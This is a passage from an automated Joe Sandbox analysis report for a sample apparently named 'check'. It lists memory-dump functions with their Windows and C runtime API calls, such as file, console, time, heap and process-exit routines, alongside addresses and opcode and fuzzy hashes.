Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 9023beffec3a57a4629e8abb22503f1b718fcdb28fa34784c50d465fb9ddbb72
Instruction ID: 8f45c6addb2160891298e0198a6923c66f4b44d8ce96385aa168cbee9d1d280c
Opcode Fuzzy Hash: 9023beffec3a57a4629e8abb22503f1b718fcdb28fa34784c50d465fb9ddbb72
Instruction Fuzzy Hash: 3331B22161DEC145EB61CB21E4503EE6354EB84FF8F640230EAAD87BD9DE2CD6198708

Function 00007FF61C4DCF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF61C4DCF4B), ref: 00007FF61C4DD07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF61C4DCF4B), ref: 00007FF61C4DD107

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 8a2cfa54a0717046daf0dd98cea1f682f76e21e2e00df3c65f8c720f4d3e6bae
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 02919232E1CA5285F760AF6598402FD2BA0EB64FACF244139DE4E97A85DF3CD462C711

Function 00007FF61C4DF98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF61C4DFA7C
_get_daylight.LIBCMT ref: 00007FF61C4DFA8D
_get_daylight.LIBCMT ref: 00007FF61C4DFA9E
_isindst.LIBCMT ref: 00007FF61C4DFB69

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: b2fc8185a850267a48702c8ebfcae4ca2d9e1dfd31d425e215bfb6908c409d4a
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: E251F772F08B118AFB24EF6499556FC2BA1AB54B7CF600235DD1D96AE5DF3CA412C700

Function 00007FF61C4D577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF61C4D57AF
GetFileInformationByHandle.KERNELBASE ref: 00007FF61C4D5811
GetLastError.KERNEL32 ref: 00007FF61C4D58A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF61C4D56B4), ref: 00007FF61C4D58EE

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: f2931e55a17fed7c801103cab28c1f7fd047901bf7fa79ea6702d423310ad099
Instruction ID: d8755d48e1a4c64311a8b5e00b98c39844f520fc3ef3a3afee30401bc522130c
Opcode Fuzzy Hash: f2931e55a17fed7c801103cab28c1f7fd047901bf7fa79ea6702d423310ad099
Instruction Fuzzy Hash: 33518C62E08B418AFB10EF71D4503FD27A1AB58F6CF208535EE0D87689DF38D4A18790

Function 00007FF61C4D5628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D5655
CreateFileW.KERNELBASE ref: 00007FF61C4D5694
CloseHandle.KERNEL32 ref: 00007FF61C4D56C9

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction ID: 8e1775c84c8bda8367aed70d97bc83f8644be5587c14199cc03b5939c88e8c08
Opcode Fuzzy Hash: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction Fuzzy Hash: A0416262E1CB8283E754AB6195503BD6760FBA4BB8F209335E69C43AD1DF7CA5F08740

Function 00007FF61C4CCC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF61C4CCE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF61C4CCE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF61C4CCC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF61C4CCCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF61C4CCD21

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 235ca00679d3b808cb0d60f8289df7053f4a4f30fa9c082fc67a8772c8034c05
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 66314720E0CE4341FB14AB65A8513FD1682AF51FACF654034E94ECB6E7DE2CA828831D

Function 00007FF61C4D9A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF61C4D9A2C), ref: 00007FF61C4D9A41
TerminateProcess.KERNEL32(?,?,?,00007FF61C4D9A2C), ref: 00007FF61C4D9A4C
ExitProcess.KERNEL32 ref: 00007FF61C4D9A5B

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: a81d2802c8ebdbbc27ede8b3a9cf9af88948e0bc4bf297bb57cf6b3d2923d1a7
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: F6D01715B0CF8642EB447B3118490FC13122F68F68B211478CC4AC6783DD3CA8294310

Function 00007FF61C4D013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D0180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D0277

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 96c3333e2de1d0a91277ea4320a2c012790349539ee3a83a6f47b8c3dc3a04de
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: FC51D761B0DA4186E768BA2694046FE6691AF94FFCF284734DD6E877D5CE3CD4218700

Function 00007FF61C4DC134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF61C4DC2CD), ref: 00007FF61C4DC180
GetLastError.KERNEL32(?,?,?,?,?,00007FF61C4DC2CD), ref: 00007FF61C4DC18A

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: be5362f734fe3af0ba4cabd99fa5a4d5d2eb77d57aa881f4567cacdfe6463441
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 1311C47260CE9281DB209B25A8141BDA361AB55FF8F644331EE7D87BD9CF7CD4218704

Function 00007FF61C4D5924 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF61C4D5839), ref: 00007FF61C4D5957
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF61C4D5839), ref: 00007FF61C4D596D

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction ID: 5a618c51604a9dc4dd0cf1e91e9c8eb4e917e2a3f8f1632323a9a87978c659bf
Opcode Fuzzy Hash: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction Fuzzy Hash: 0811917160CB1282EB649B15A4510BEB760FB94F75F600236F69DC19D8EF3CD024DB10

Function 00007FF61C4DA948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA95E
GetLastError.KERNEL32(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA968

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 3603bfd46170e5650ae8ac39ab038aef3a28725ec11baa5e3f72499d08daa751
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: B7E08610F0DE0343FF05BBF254461FD12505F94F28F654834C90DC22A1DD2C68718710

Function 00007FF61C4DAB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF61C4DA9D5,?,?,00000000,00007FF61C4DAA8A), ref: 00007FF61C4DABC6
GetLastError.KERNEL32(?,?,?,00007FF61C4DA9D5,?,?,00000000,00007FF61C4DAA8A), ref: 00007FF61C4DABD0

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: ecfa4e01b4bd8089c7824cff358deef2b09edb0e0e25fd8b5a5edd989b82119e
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: D3219611F1CF8241FBA4A751A4553FD16929F94FB8F284239EA2EC77D1CE6CA4654300

Function 00007FF61C4DBEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4DBED4

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 4ebca0b70d314569d7e7ae01fab626a8f1fe0deff10d07f2bc57f9ab081f7e99
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: EF41A73291CA4587EB34AB19A5413BD73A0EB65FA9F200135DB8EC3AD1CF6CE452CB51

Function 00007FF61C4C7F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF61C4C803A

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction ID: 3dc00b8b89bf1c7db10daa2a011a207659c867042e0fa8b9f2e3699a7711ead8
Opcode Fuzzy Hash: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction Fuzzy Hash: FC217E21B1CA5246FB50AA2369043FE9661BF45FF8FA94430EE0D87796CE7DE069C304

Function 00007FF61C4DB93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4DB9C2

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: 3d11151f694b7b1717f18dbde5679ff98245ff818600b75554ea0c6da9287aa4
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 9A319032A1CE4285F711BB6588413FC2A90AFA0FB8F625175EA6DC37D2DE7CE4618711

Function 00007FF61C4D9961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF61C4D998F

Part of subcall function 00007FF61C4D9A88: GetModuleHandleExW.KERNEL32 ref: 00007FF61C4D9AAD
Part of subcall function 00007FF61C4D9A88: GetProcAddress.KERNEL32 ref: 00007FF61C4D9AC3
Part of subcall function 00007FF61C4D9A88: FreeLibrary.KERNEL32 ref: 00007FF61C4D9AEA

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: f1dc5b780104d248f7f77cf72ba89135ca32d500fdfa03a5afcc606f8b0afc02
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: C5218076A08B858AEB14AF64C4802FC33A1EB24B2CF240636E75C87BC5DF38D555C740

Function 00007FF61C4D5F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D5EF9

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 22403cfca81eab43ad71d4b99b701e0bcedcde98f45df09c2fb4629bb3d44c76
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: D6119371A1CA4281FB60BF1194013FDA260BFA5FA8F644435EB8CD7A96CF3DD4204781

Function 00007FF61C4E6354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E6377

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 9a7318a2bcc94eb86953fe1a271f0aae9f0b27da2a330eb261baae2062f51966
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: AD213D32A1CE4586EB61DF19D4403FD77A0AB94FA8F254234EA5D866DADF3DD4218B00

Function 00007FF61C4D03BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D0410

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
